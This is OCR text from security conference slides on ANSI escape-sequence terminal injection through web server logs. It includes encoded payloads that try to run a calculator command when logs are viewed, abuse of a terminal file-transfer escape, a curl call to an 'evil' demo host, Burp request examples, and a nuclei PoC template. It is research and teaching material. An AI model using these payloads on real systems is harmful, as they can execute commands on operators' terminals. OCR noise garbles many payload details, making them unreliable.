172.17.0.1 - - | [ /sup%0a%1B%5B31mESC-INJECTION - SUCCESSFUL-LETS-POP - CALC%1B%5BOM%07%0a%1bP%24qm¥%03%1b%5c%1bP%24qm¥%3bopen%20 - a%20calculator¥%3b%0d%1b%5
c¥%1bP%24qm%1b%5c A 5 /5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like Cecko) Chrome/114.0.5735.199 Safari/537.36" "-"
2023/07/10 09:31 ‘fusrfshare/nginx/html/favicon.ico" failed (2: No such file or directory), client: 172.17.0.1, server: localhost, request: "CET ffavi
con.ico HTTP/1.1 "http://localhost/sup¥%0a%1B%SB31mESC- INJECTION - SUCCESSFUL-LETS-POP-CALC%1B%5SBOM%07%0a%1bP%24qm%03%1b%5c%1bP%24qm¥%3bopen%20-a%20calcu
Lator%3b%0d%1b%5E e 2 N
172.17.0.1 - - | I ffavicon.ico HTTP/1.1" 404 555 "http://localhost/sup%0a%1B%SB31mESC-INJECTION-SUCCESSFUL-LETS-POP-CALC%1B%5BOM%07%0a%1bP%24qm¥%03%1b
%5c%1bP%24qm¥%3bo 5c%1bP%24am¥1b%5c" "Mozilla/5.0 (Windows NT 10.0: Winé4: x64) AppleWebKit/537.36 (KHTML. like Gecko) Chrome/114.0.5735.199 Safari/537
36" "-" 0
& 404 Not Found X -
- RAM 5.54 GB CPU 1.01% Disk 47.27 GB avail. of 58.37GB W N & =S (D) localhost/sup%0a%1B%5B31TmESC-INJECTION-SUCCESSFUL-LETS-POP-CALC%1B%5B0m%07%0a%1bP%24qm%03%1b%5¢%1bP%24qm%3... A

404 Not Found

2023/07/10 09:31:04 |error] 22#22: *102 open{) "“/usr/share/n4
ESC-INJECTION-SUCCESSFUL-LETS-POP-CALC
" failed (2: No such file or directory), client: 172.17.0.1, nginx/1.23.3
SUCCESSFUL-LETS-POP-CALCH1B%5BOM%O7%0a%1bP%24qm%03%1h%ScilhP:
1", host: "localhost"

172.17.0.1 - - [10/Jul/2023:09:31:04 +0000] “GET /sup%0a%lBS
qm%03%1h%ScihlbP%24gmi3bhopend20-a%20calculator%3b%ad%1h%scob1hh
; Wing4; x64) AppleWebKit/537.36 {KHTML, like Gecko) Chrome/
ACPSqm;open —a calculator;

PSama |\

2> Documents P$gm;open —a calculator,

zsh: command not found: P

> Documents P$qn |




172.17.0.1 - - | B /favicon.ico HTTP/1.1" 404 5

%5¢c%1bP%24qm%3bo c%1bP%24am%1b%5¢c"” "Mozilla/5.!
.36” ll_H O '
&Y 404 Not F

L e RAM 5.54 GB CPU0.40% Disk 47.27 GB avail. of 58.37GB W N & S5 (& @ localhos

2023/07/10 09:31:04 [error] 22#22: *102 open{() "/usr/share/ng
ESC-INJECTION-SUCCESSFUL-LETS-POP-CALC

" failed (2: No such file or directory), client: 172.17.0.1,
SUCCESSFUL-LETS-POP-CALC%1B%5BOM%07%0a%1bP2%24qm%03%1b%5c%1bP?
1", host: "localhost"

172.17.0.1 — - [10/Jul/2023:09:31:04 +0000] "GET /sup%0a%lB%"
m%03%1b%5c%1bP%24qm%3bopen%20-a%20calculator%3b%0d%1b%5c%1bf
Win6e4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/:
ACPSgm;open —a calculator;

P$qm“[\%

< Documents PSgm;open -a calculator;

zsh: command not found: P

» Documents PSgm

=P printf '\033PSgm\x03\033\\'



172.17.0.1 - - | B /favicon.ico HTTP/1.1" 404 5

%5¢c%1bP%24qm%3bo c%1bP%24am%1b%5¢c"” "Mozilla/5.!
.36” ll_H O '
&Y 404 Not F

i RAM 5.54 GB CPU0.40% Disk 47.27 GB avail. of 58.37GB W N & S5 (& @ localhos

2023/07/10 P9:31:04 [error] 22#22: *102 open{() "/usr/share/ng
ESC-INJECT FJON-SUCCESSFUL-LETS-POP-CALC

" failed (f: No such file or directory), client: 172.17.0.1,
SUCCESSFULFLETS-POP-CALC%1B%5BOM%07%0a%1bP%24qm%03%1b%5c%1bP?
1", host® "localhost"

172.17.0.0 — - [10/Jul/2023:09:31:04 +0000] "GET /sup%0a%lB%"
qm%03%1b%Pc%1bP%24qm¥%s3bopen%s20-a%20calculator%3b%0d%1b%5c%1bf
; Wine4; W64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/:
ACPSgm;open —a calculator;

P$qm“[\%

< Documents PSgm;open -a calculator;

zsh: command not found: P

» Documents PSgm

=P orintf '\033PSgm;open -a calculator;\r\n\033\\'



172.17.0.1 - - | B /favicon.ico HTTP/1.1" 404 5

%5¢c%1bP%24qm%3bo c%1bP%24am%1b%5¢c"” "Mozilla/5.!
.36” ll_H O '
&Y 404 Not F

L e RAM 5.54 GB CPU0.40% Disk 47.27 GB avail. of 58.37GB W N & S5 (& @ localhos

2023/07/10 09:31:04 [error] 22#22: *102 open{() "/usr/share/ng
ESC-INJECTION-SUCCESSFUL-LETS-POP-CALC

" failed (2: No such file or directory), client: 172.17.0.1,
SUCCESSFUL-LETS-POP-CALC%1B%5BOM%07%0a%1bP2%24qm%03%1b%5c%1bP?
1", host: "localhost"

172.17.0.1 — - [10/Jul/2023:09:31:04 +0000] "GET /sup%0a%lB%"
qm%03%1b%5c%1bP%24qm%3bopen%s20-a%20calculator%3b%0d%1b%5c%1bf
« Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/!
CPSgm;open -a calculator;

P$qm“[\%

< Documents PSgm;open -a calculator;

zsh: command not found: P

» Documents PSgm

=P orintf '\033PSgm\033\\"



172.17.0.1 - - | B /favicon.ico HTTP/1.1" 404 5
%5¢c%1bP%24gqm%3bo c%1bP%24am%1b%5c"” "Mozilla/5.!
.36” ll_H O '
&Y 404 Not F
L - RAM 5.54 GB CPU 0.40% 4 8.37GB W N () localhos
2023/07/10 09:31:04 [error] 22#22: *102 open{() "/usr/share/ng

ESC-INJECTION-SUCCESSFUL-LETS-POP-CALC

" failed (2: No such file or directory), client: 172.17.0.1,
SUCCESSFUL-LETS-POP-CALC%1B%5BOM%07%0a%1bP2%24qm%03%1b%5c%1bP?
1", host: "localhost"

172.17.0.1 — - [10/Jul/2023:09:31:04 +0000] "GET /sup%0a%lB%"
qm%03%1b%5c%1bP%24qm%3bopen%s20-a%20calculator%3b%0d%1b%5c%1bf
; Wine4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrgg
ACPSgm;open —a calculator;

PSqmA [\

< Documents PSgm;open -a calculator;
zsh: command not found: P
» Documents PSgm




- KITTY
RTTY

printf '\033]5113;ac=send;id=test;n=aGVsbG8udHhO0;sz=3;d=AQID\\"

X

< - C O & https://sw.kovidgoyal.net/kitty/file-transfer-protocol/

X File transferoverthe TTY

>_ There are sometimes situations where the TTY is the only convenient pipe between two
connected systems, for example, nhested SSH sessions, a serial line, etc. In such scenarios, it is
useful to be able to transfer files over the TTY.




 KITTY

TY

B

\nopen -a calculator.app\n

X

< - C O & https://sw.kovidgoyal.net/kitty/file-transfer-protocol/

oo File transferoverthe TTY

>_ There are sometimes situations where the TTY is the only convenient pipe between two
connected systems, for example, nhested SSH sessions, a serial line, etc. In such scenarios, it is
useful to be able to transfer files over the TTY.



20 ® ~/Documents

> Documents printf '\033]5113;ac=send; id=\nopen -a calculator.app\n\033\\"'|




L N N ~[Documents

» Documents printf '\033]5113;ac=send;id=\nopen -a calculator.app\n\033\\"
» Documents 5113;ac=status; id=

zsh: command not found: 5113

» Documents open -a calculator.app

- Documents ;steee ' 1ByZWZ1c2VKIHROZSBOcmFuc2Z1lcg==




TERMINALS

APPS/WEBAPPS



\\SANITIZE
\\OUTPUT




TERMINALINJECTION.COM

~ - (O B view-source:https://evil.terminalinjection.com/ 7

b % [HLAILZML%ICLE | 32mL %k
7 %11337:ClearScrollback s
3

“[33m.8
9 cllcccecc:z:iiiiccll:, LOKKKKKKKKKKKKKKKKXKKKKKKKXKKKKKXKKKKKKKKKKKKKKKKKAC, cc: ; :
10 ccccc::::::cllllllcclONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKC: Lccc

11 :cccc::ccclllcccel: : xMvMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMO; 5 C: :
12 LLLLLLLLccecececcececc, oNMMMWKOOKNWNWWWING KNMMMMMWNNXKNMMMMWXKXNMWWWWWNKNMMMMMMMXC * & & ;
13 LLLLLULccecz::::ce:; KMMMMWK L LkdooxOKxXcd XMMMMMXxx0oc KNMMM@ Lo0800dx kx LcXNMMMMMMXc ' & & &
14 lccccclceccccecccece: ,dWMMMMWOOKo ladx@60 LOMMMMMKdKO LdKMMMO LkNOxxoooccd@XXWMMMMK: ,c: :
15 LLttessss,o" "0 " 5 OWMMMMWWWINNNNXNWXOXWMMMMMWXNXKNWMMMNXWMNXNNWWXOOXNXWMMMNG * , ; ; 5
16 Lllooolcc:z:::ceccl: : dkWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN X 2 2 25 3,
17 ooooddddddxxdddolccc: : oOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX K Lcdd Lccc
18 olllllllcccccc:cc::cooc:codxk@KXXXNNNWWWNWWWMMMMMMMMMMMMMMMMMWWNX@on1c;:odooolc
19 Okxdddddddxkd::cllc:::11lc:;,,;coddddddddddo1OMWKkkkkkkkkxdddddolcc::cloc,."';:;;;
20 KXXXNXXNNNXkcoxkkkkxdc1xkkk000KXXXXXXXKKKchkMXooOkkkOOOOxoolccccc';;;:'cldxlldd
21 KXOOXXXNNK Lexkkkkxdo L: cdddx@XXXXXNNXXXXXXK LOMKo X XXXXXXKKXXKAkkxddoodk@KKKKdc LxK
22 KKKAOXXXNNKo Lxdl:, ..« « ; OXXO0OXXNNNNXXXXXXd LXWKO BXXXXXXKKKKKXXXXXXKXXXXXKKK XKoo
23 0x:cOXXXXKO01;,. « 3 0kkkkockNNNNNNNNXXXKaodNAdOXXXXXXXXXXXXXXXXXXXXXXKKKkox@a0d
24 ddlo@X@xooodool: ;;; cdkkkkxoccdk KNNNNNNNNNOoKQdOXXXXXXXXXXXXKAXXXXXXXXXKO0doKkooooX
25 x00100d1; Lkkdddxxkkxxdol1l1l Ldxd L LdONNNNNNN koddOXOOXXXXXXKA cOXXXXXXX0dox0000x XK
26 0Qookdxdllodl: lolLLLLLLodxkkkkkx LckXXNNOX L LKEXXCOKXXXXXXXXKX00dKXXXX0dox0000K0Okdx

27 k@xL1ldOxx0kd: Lkkkkkxxxxkkkkkkxdx0xxxkkK@kKkBXNXXXXXXXXXXXKxd0koOXK0ddx0000d@@kk0x R}
28 x00ocdkkxkx; ; dkkkdoodddddodkxd@N@o; , , ; LANNNNNXXXXXXXXXXKKkxOK0ok0ddkOKOkxdx0k0a09
29 kO0Q00kkko, . . LKxdx@NNKOOOKALAKWO, « + v« OKXXXNXXNXX000KK000000 Lcok@QKKOKXKkxxX000KKK
30 000000k:.. .ckdkNMXo'..'ckddXXC.u:suu. LOKNXXX0x1; """ "':000xk@doOKKOkk00OOxk0OOOKDD
31 6e000d, ... rddOMNO. ....,000NLl..... R ] ) T T aY e : 0kx0OKKOkkOOK0OBBOKABB0O0
32 0Ka0l..... ;000MN1l....... R U V) S e L L1 R e e e ; 00XKKKKkXOKKKKKKKAKOK@A00
33 OKOL. . ans . 00dXW0; ...... codxdlcccoxkkkx, i ; XKKOXKKkXOXKKKKKKKK900009
34 OKX'esvueo . IX00kKO1:".. 'cxkkxdoodkkkkkkd, . « OKKKK@XdOKKKKKKKKK2000k09
23y Ll oo o ne . 0Okkdooddo Lc ldxkkkkkkkkkkkkkkkl' . . '+ C LKKKKKKAOKKKKXXKKKB0000000
sl LU a oo , XKkkkkkxxxxdoccdkxkkxkkkkkkkkkxo Lc lLodx L LKKKKKKKKKKKXXXKKKKKQ000000

37 BKx'. .. .lkkxxkxxkxoc ldoc: cLodxxkkkkkkkkxxdol1100KKKKKKKKKKXKKKKKKKKKKOKKB9

- A Al d. — e I B e B B I B B N T e T e B e e B P e B B R N N W P AV ATV F o N e Y P d P AV AV IV AV A VAV AV AV AV A VA VAV AV AV IV A Vi TVAVd: V2 Y



TEI

curl -L evil.terminalinjection.com > badlog.log



http://evil.terminalinjection.com

BLACKBOX
TESTING







-‘@: Cancel J|< ': 1 > "| Target: http://127.0.0.1:8080 y HTTPA @

3P

Request | Response

Pretty Raw Hex & \n =

1 POST /api/somepath HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: x
Content-Type: application/json
Connection: close

l010adsu|

{

"somekey" :"somevalue"

J

@ @ ‘ é‘-’ _>’ l Search... 0 matches

Ready




©,

- ’@‘: Gancel | \: < ': > Target: http://127.0.0.1:8080 /¥  HTTP/1

3P

Request | Response

Pretty Raw Hex = \N

1 POST /api/somepath HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: x
Content-Type: application/json
Connection: close

l010adsu|

{
"somekey":"somevalue\n\u001lb[31ImESC-INJECTION-LFUNICODE:\u001lb[32mSUCCESSFUL\u001b[0Om\u0007\n"

J

APPEND UNICODE

@ @ _é‘ S| | search... 0 matches

Ready




3p

Request Response

Pretty Raw Hex Render

HTTP/1.1 500 Internal Server Error
content-type: application/json; charset=utf-8
content-length: x

Date: Tue, 18 Jul 2023 21:23:01 GMT
Connection: close

10108dsu|

{
"statusCode" :500,

"error":"Internal Server Error",
"message":"query does not support somevalue\n\uOOlb[31mESC-INJECTION-LFUNICODE:
\u001b[32mSUCCESSFUL\u001b[0m\u0007\n"

}

PLAUSIBLE (MOST LIKELY)

0 matches




3p

Request Response

Pretty Raw Hex Render

HTTP/1.1 500 Internal Server Error
content-type: application/json; charset=utf-8
content-length: x

Date: Tue, 18 Jul 2023 21:23:01 GMT
Connection: close

10108dsu|

{
"statusCode" :500,

"error":"Internal Server Error",
"message":"query does not support somevalue\\n\\uO0Olb[31ImESC-INJECTION-LFUNICODE:
\\u001b[32mSUCCESSFUL\\u001b[0m\\u0007\\n"

}

ESCAPED PROPERLY (GOOD JOB!)

@ @ (—: > Search... 0 matches

Ready




- [ cancel |[<|v|[> 7] Target: http://127.0.0.1:8080 /2 HTTPA ()

3P

Request | Response

Pretty Raw Hex & \n =

1 POST /api/somepath HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: x
Content-Type: application/json
Connection: close

l010adsu|

{
"somekey" :"somevalue [32ZmESC-INJECTION-RAW: [31mSUCCESSFUL[Om"

} X\

APPEND ESC/BELL (0X1B/0X07)

@ {§} ‘é‘ > | Search... 0 matches

Ready




B | cancel |[<|v[>r] Target: http:/127.0.0.1:8080 /2 HTTPA ()

il = =N

Request Response
Pretty Raw Hex

1 POST /api/somepath HTTP/1
Host: 127.0.0.1:8080
Content-Length: x Selection
Content-Type: application
Connection: close

Inspector

Selected text
{

"somekey" :"somevalue [ 3Z2mE

J

"somekey":"somevalue 1b [32mESC-INJECTION-RAW: 1b [31mSUCCESSFUL 1b [Om @7 "

Decoded from: Select

| | Apply changes |

Request attributes

Request query parameters

(:){:} &« > }%mmmm

Ready

Request cookies




I
m
3P

Request Response

Pretty Raw Hex Render

Yl
1l

HTTP/1.1 500 Internal Server Error
content-type: application/json; charset=utf-8
content-length: x

Date: Tue, 18 Jul 2023 21:23:01 GMT
Connection: close

10108dsu|

{
"statusCode" :500,

"error":"Internal Server Error",
"message":"query does not support somevalue\uOO0lb[31ImESC-INJECTION-RAW:\u001lb
[32mSUCCESSFUL\u001b [0Om\u0007"

}

AGAIN PLAUSIBLE (MOST LIKELY)

0 matches




FALSE
POSITIVES




3p

Request Response

Pretty Raw Hex Render

HTTP/1.1 500 Internal Server Error
content-type: application/json; charset=utf-8
content-length: x

Date: Tue, 18 Jul 2023 21:23:01 GMT
Connection: close

10108dsu|

{
"statusCode" :500,

"error":"Internal Server Error",

}

STRIPPED ERROR MESSAGE

0 matches




3p

Request Response

Yl
1l

Pretty Raw Hex Render

HTTP/1.1 404 Not Found
content-type: application/json; charset=utf-8

content-length: x
Date: Tue, 18 Jul 2023 21:23:01 GMT
Connection: close

10108dsu|

<html>

<head><title>404 Not Found</title></head>
<body>

<center><hl>404 Not Found</hl></center>
<hr><center>nginx/1.23.3</center>

</body>

</html>

NO DATA IN RESPONSE

0 matches




3p

Request Response

Yl
1l

Pretty Raw Hex Render

HTTP/1.1 400 Bad Request

content-type: application/json; charset=utf-8
content-length: x

Date: Tue, 18 Jul 2023 21:23:01 GMT
Connection: close

10108dsu|

{
"statusCode":400,

"error":"Bad Request",
"message":"Invalid value \"somevalue\n\uOOlb[31mESC-INJECTION-LFUNICODE:
\uOO01lb[32mSUCCESSFUL\u001b[0m\u0007\n\"

}

PLAUSIBLE (MOST LIKELY) BUT WONT BE LOGGED..

0 matches




SEEMS TO BE
EVERYWHERE




id: Terminal-injection—-pocC

info:
name: Ansl Escape sequence terminal injection example
author: STOK
severity:
description: Example poc as a part of the presentation at Blackhat and DEF CON
reference:
- terminalinjection.com
tags: loginjection

http:
- method: GET
path:
— '{{BaseURL}}/%0a%1B%5B31mESC-INJECTION-LFURLENCODED :%1B%5B32mSUCCESSFUL%1B%5B0m%07%0a "
— '"{{BaseURL}}/\u021b[31mESC-INJECTION-UNICODE:\u@01b[32mSUCCESSFUL\u001b[@m\u0007"
matchers—condition: or
matchers:
- type: word
part: body
words:
— ":1\u0@1b[32mSUCCESSFUL\u201b[0m\u0007"

1
2
3
4
S
6
7/
8
9
0
1
2
3
4
5
6
7
8




[ INF] New templates added 1n latest release: 33

[ INF] Templates loaded for current scan: 1

[INF] Targcts Lloaded for current scan: 1

[INF] Running httpx on input host

[INF] Found 1 URL from httpx

[INI'] [Terminal injection poc] Dumped HTTP request for http://127.0.0.1/1345/%0AESC INJECTION LIURLENCODED:SUCCESSIUL%0OT%BA

GET /1345/%B0a%1B%G5B31mESC-INJECTION-LFURLENCODED :%1B%5B32mSUCCESSFUL%1B%5BOmM%®7%0a HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_8_3) AppleWebKit/537.36 (KHTML, like Geckc) Chrome/51.0.2866.71 Safariy,
37.36

Connection: close

Accept: */%

Accept Language: en

Accept-Encoding: gzip

|DBG] [Terminal-injection-poc] Dumped HTTP response http://127.0.0.1/1345/%0AESC-INJECTION-LFURLENCODED: SUCCESSFUL%Q7%0A

HTTP/1.1 164 Not Found
Conncction: close

Content-Length: 555

Content Type: text/html

Date: Tue, 01 Aug 2023 08:21:42 GMT
Server: nginx/1.23.3




id: Terminal-injection—poc

: | | mp le
Seve |
desc : Examp pres ation at Bla nd DEF
refere -
- te ec
tags: 1
http:

BOM%07%0a "

1
2
3
4
>
6
/
8
9
0
1
2
3
4
>
6
/
O

part: body
words:
— ":\u0@1b[32mSUCCESSFUL\u201b[0m\uo0o7"




172.17.0.1 - - [0L/Aug/2023:07:21:07 +0000] "HEAD /1345 HTTP/L1L.1"™ 404 © "-" "Mozilla/5.0 (Windows NT 5.1
) AppleWebKit/537.36 (KHTML, Llike Gecko) Chrome/35.0.3319.102 Safari/537.36" "-"

172.17.0.1 - - [0L/Aug/2023:07:21:13 +0000] "HEAD /1345 HTTP/1.1"™ 404 © "-" "Mozilla/5.0 (Windows NT 10.
©) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/8%9.0.4389.114 Safari/537.36" "-"

2023/08/01 07:21:13 [error] 23#23: %52 open{() "/usr/share/nginx/html/1345" failed (2: No such file or di
rectory), client: 172.17.0.1, server: localhost, request: "HEAD /1345 HTTP/1.1", host: "127.0.0.1"
2023/08/01 07:25:13 [error] 23#23: %53 open{) "/usr/share/nginx/html/1345" failed (2: No such file or di
rectory), client: 172.17.0.1, server: localhost, request: "HEAD /1345 HTTP/l.1", host: "127.0.0.1"
172.17.0.1 - - [0L/Aug/2023:07:25:13 +0000] "HEAD /1345 HTTP/L1L.1"™ 404 © "-" "Mozilla/5.0 (Windows NT 6.1
) AppleWebKit/537.36 (KHTML, Llike Gecko) Chrome/41.0.2228.0 Safari/537.36" "-"

2023/08/01 07:25:13 [error] 23#23: %54 open() "/usr/share/nginx/html/1345/

ESC-INJECTION-LFURLENCODED :SUCCESSFUL

" failed (2: No such file or directory), client: 172.17.0.1, server: localhost, request: "GET /1345/%0a%
1B%5B31mESC-INJECTION-LFURLENCODED:%1B%5B32mSUCCESSFUL%1B%5BOm%07%0a HTTP/1.1", host: "127.0.0.1"
172.17.0.1 - - [0L/Aug/2023:07:25:13 +0000] "GET /1345/%0a%1B%5B31mESC-INJECTION-LFURLENCODED:%1B%5B32mS
UCCESSFUL%1B%5BOm%07%0a HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_10_1) AppleWebK
1t/537.36 (KHTML, Llike Gecko) Chrome/37.0.2062.124 Safari/537.36" "-"

2023/08/01 07:25:13 [error] 24#24: *x55 open{() "/usr/share/nginx/html/1345/\u@O0lb[31mESC-INJECTION-UNICOD
E:\uQOLlb[32mSUCCESSFUL\UOOlb[Om\ueee7" failed (2: No such file or directory), client: 172.17.0.1, server
: Llocalhost, request: "GET /1345/%5Cu@01lb%5B31mESC-INJECTION-UNICODE:%5Cu@01lb%5B32mSUCCESSFUL%5CU001b%5B
Om%5Cu0ee7 HTTP/1.1", host: "127.0.0.1"

172.17.0.1 - - [0L/Aug/2023:07:25:13 +0000] "GET /1345/%5Cu00lb%5B31mESC-INJECTION-UNICODE:%5Cu001b%5B32
MSUCCESSFUL%5Cu001b%5BOm%&5Cu0007 HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Windows NT 10.0; Winc4; x64) AppleW

ebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" "-"
0




YOU NEED
ACCESS TO




GNU nano 6.4 /etc/apache2/conf-enabled/security.conf *

ServerTokens
This directive configures what you return as the Server HTTP response
Header. The default is 'Full' which sends information about the 0S5-Type
and compiled in modules.
Set to one of: Full | 0S | Minimal | Minor | Major | Prod
where Full conveys the most information, and Prod the least.
#ServerTokens Minimal
#ServerTokens Os
ServerTokens Full

SecServerSignature "4 | 31mESC-INJECTION:A| [3ZmSUCCESSFULA| [Gm'

#

# Optionally add a line containing the server version and virtual host

# name to server—-generated pages (internal error documents, FTP directory
Llistings, mod_status and mod_info output ctc., but not CGI gcncrated
documents or custom error documents).

Set to "EMail" to also include a mailto: link to the ServerAdmin.

el Help M8 Write Out &Y Where Is a4 Cut Al Execute N8l |Location Ul Undo
o4 ExXIt My Read File a Replace dll Paste ANl Justify a4 Go To Line WBd Redo
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